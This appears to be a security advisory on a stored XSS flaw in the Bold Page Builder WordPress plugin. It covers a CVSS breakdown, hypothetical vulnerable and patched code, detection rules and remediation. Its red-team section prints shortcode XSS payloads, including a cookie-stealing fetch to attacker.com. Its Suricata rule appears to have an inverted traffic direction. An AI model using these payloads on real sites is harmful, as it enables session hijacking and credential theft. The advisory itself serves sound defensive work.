CVE-2024-3267

Executive Summary

CVE-2024-3267 is a Stored Cross-Site Scripting (XSS) vulnerability in the Bold Page Builder plugin for WordPress, affecting all versions up to and including 4.8.8. The flaw resides in the bt_bb_price_list shortcode, where insufficient input sanitization and output escaping on user-supplied attributes allow authenticated attackers with contributor-level access or higher to inject arbitrary web scripts. These scripts execute whenever a victim accesses the compromised page, leading to potential session hijacking, credential theft, or defacement. The vulnerability has a CVSS score of 6.4 (Medium), with a low attack complexity and no user interaction required for exploitation. No public proof-of-concept (PoC) or exploit code has been released, and the patch status remains unknown.

Supply Chain & Package Security

This vulnerability is specific to the WordPress ecosystem and the Bold Page Builder plugin. It is not related to NPM, PyPI, Go, or Ruby packages. The plugin is distributed via the WordPress plugin repository and third-party marketplaces. Users should verify the integrity of their plugin installations and monitor for updates from the vendor.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Base Score: 6.4 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) – requires contributor-level access or higher
• User Interaction: None (UI:N)
• Scope: Changed (S:C) – the vulnerable component impacts resources beyond its security scope
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: None (A:N)

Threat Level: Medium. While the CVSS score is moderate, the ability for authenticated attackers to inject persistent scripts that execute on page loads poses a significant risk to site integrity and user trust. The lack of a patch increases the urgency for mitigations.

Deep Dive & Mechanics

The vulnerability is a classic Stored XSS in the bt_bb_price_list shortcode of the Bold Page Builder plugin. The shortcode is used to display price lists (e.g., for menus or services) and accepts user-supplied attributes such as title, price, description, and currency. The plugin fails to properly sanitize these attributes before storing them in the WordPress database and fails to escape them when rendering the shortcode output.

Attack Flow:

1. An authenticated user with contributor-level access or higher creates or edits a post/page using the Bold Page Builder.
2. The attacker inserts the bt_bb_price_list shortcode with malicious JavaScript payloads in one or more attributes (e.g., title or description).
3. The plugin stores the shortcode attributes without sanitization.
4. When a victim (including administrators or visitors) views the page, the shortcode is rendered, and the malicious script executes in the victim's browser context.

Root Cause: The plugin uses esc_attr() or similar escaping functions inconsistently, or relies on outdated WordPress functions that do not fully mitigate XSS in shortcode attributes. The bt_bb_price_list shortcode likely outputs attributes directly into HTML without proper context-aware escaping.

Vulnerable vs. Patched Code

Since no patch is available, the following is a hypothetical comparison based on common XSS fixes.

Vulnerable Code (hypothetical):

function bt_bb_price_list_shortcode($atts) {
    extract(shortcode_atts(array(
        'title' => '',
        'price' => '',
        'description' => '',
    ), $atts));
    $output = '<div class="bt_bb_price_list">';
    $output .= '<h3>' . $title . '</h3>';
    $output .= '<span class="price">' . $price . '</span>';
    $output .= '<p>' . $description . '</p>';
    $output .= '</div>';
    return $output;
}

Patched Code (hypothetical):

function bt_bb_price_list_shortcode($atts) {
    extract(shortcode_atts(array(
        'title' => '',
        'price' => '',
        'description' => '',
    ), $atts));
    $output = '<div class="bt_bb_price_list">';
    $output .= '<h3>' . esc_html($title) . '</h3>';
    $output .= '<span class="price">' . esc_html($price) . '</span>';
    $output .= '<p>' . esc_html($description) . '</p>';
    $output .= '</div>';
    return $output;
}

The patched version uses esc_html() to escape output, preventing script injection.

Exploitation & Lab Setup

Red Team (Exploitation)

Since no public exploit code is available, the following is a conceptual demonstration.

Prerequisites:

• WordPress instance with Bold Page Builder plugin <= 4.8.8
• Authenticated user with contributor-level access

Exploitation Steps:

1. Log in as a contributor.
2. Create a new post or page.
3. Insert the bt_bb_price_list shortcode with a malicious payload in the title attribute:

   [bt_bb_price_list title="<script>alert('XSS')</script>" price="10" description="Test"]
   

4. Publish the post.
5. When an administrator or visitor views the post, the script executes.

Advanced Payload (session hijacking):

[bt_bb_price_list title="<img src=x onerror=fetch('https://attacker.com/steal?cookie='+document.cookie)>" price="10" description="Test"]

Blue Team (Detection & Prevention)

Detection:

• Monitor WordPress logs for shortcode usage with suspicious attributes (e.g., <script>, onerror, onload).
• Use Web Application Firewall (WAF) rules to block common XSS patterns in POST requests to wp-admin/post.php or wp-admin/admin-ajax.php.
• Implement Content Security Policy (CSP) headers to restrict script execution.

Prevention:

• Disable the Bold Page Builder plugin until a patch is released.
• Restrict contributor-level access to trusted users only.
• Use a WordPress security plugin (e.g., Wordfence) to block malicious shortcode attributes.

Indicators of Compromise (IOCs)

• File Hashes (plugin files): Unknown (no patch available)
• Network Indicators:
  • Outbound connections to attacker-controlled domains (e.g., attacker.com) from WordPress admin pages.
  • HTTP requests containing <script> tags in shortcode attributes.
• Log Entries:
  • WordPress debug logs showing bt_bb_price_list shortcode with unusual attribute values.
  • Web server logs with POST requests to /wp-admin/post.php containing bt_bb_price_list and script payloads.
• Database Indicators:
  • Rows in wp_posts table with post_content containing bt_bb_price_list and <script> tags.

Detection Engineering

YARA Rule

rule CVE_2024_3267_Bold_Page_Builder_XSS {
    meta:
        description = "Detects malicious shortcode attributes in Bold Page Builder plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-3267"
    strings:
        $shortcode = "bt_bb_price_list"
        $xss1 = /<script[^>]*>.*<\/script>/i
        $xss2 = /onerror\s*=\s*["']?[^"']*["']?/i
        $xss3 = /onload\s*=\s*["']?[^"']*["']?/i
    condition:
        $shortcode and ($xss1 or $xss2 or $xss3)
}

Sigma Rule

title: CVE-2024-3267 - Stored XSS via Bold Page Builder Shortcode
id: 8a3f7c2e-5d1b-4a9f-8c6e-2b3d1f0a7e4c
status: experimental
description: Detects attempts to exploit Stored XSS in Bold Page Builder bt_bb_price_list shortcode
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/wp-admin/post.php'
        cs-uri-query|contains: 'bt_bb_price_list'
    keywords:
        - '<script'
        - 'onerror='
        - 'onload='
    condition: selection and keywords
falsepositives:
    - Legitimate use of shortcode with benign attributes
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-3267 - Bold Page Builder Stored XSS Exploit"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/post.php"; http_uri; content:"bt_bb_price_list"; http_client_body; pcre:"/<script[^>]*>.*<\/script>/i"; pcre:"/onerror\s*=\s*["']?[^"']*["']?/i"; pcre:"/onload\s*=\s*["']?[^"']*["']?/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Bold Page Builder plugin until a patch is released.
2. Restrict user roles: Remove contributor-level access from untrusted users.
3. Implement Web Application Firewall (WAF) rules to block XSS payloads in shortcode attributes.

Long-term Fix:

• Monitor the vendor's website or WordPress plugin repository for a patched version (>= 4.8.9).
• Apply the patch as soon as it becomes available.
• Conduct a security audit of all shortcodes in the plugin for similar vulnerabilities.

Workaround:

• If the plugin cannot be disabled, use a WordPress security plugin (e.g., Wordfence) with XSS filtering enabled.
• Manually sanitize shortcode attributes by adding esc_html() to the plugin's code (if you have developer access).

Valters IT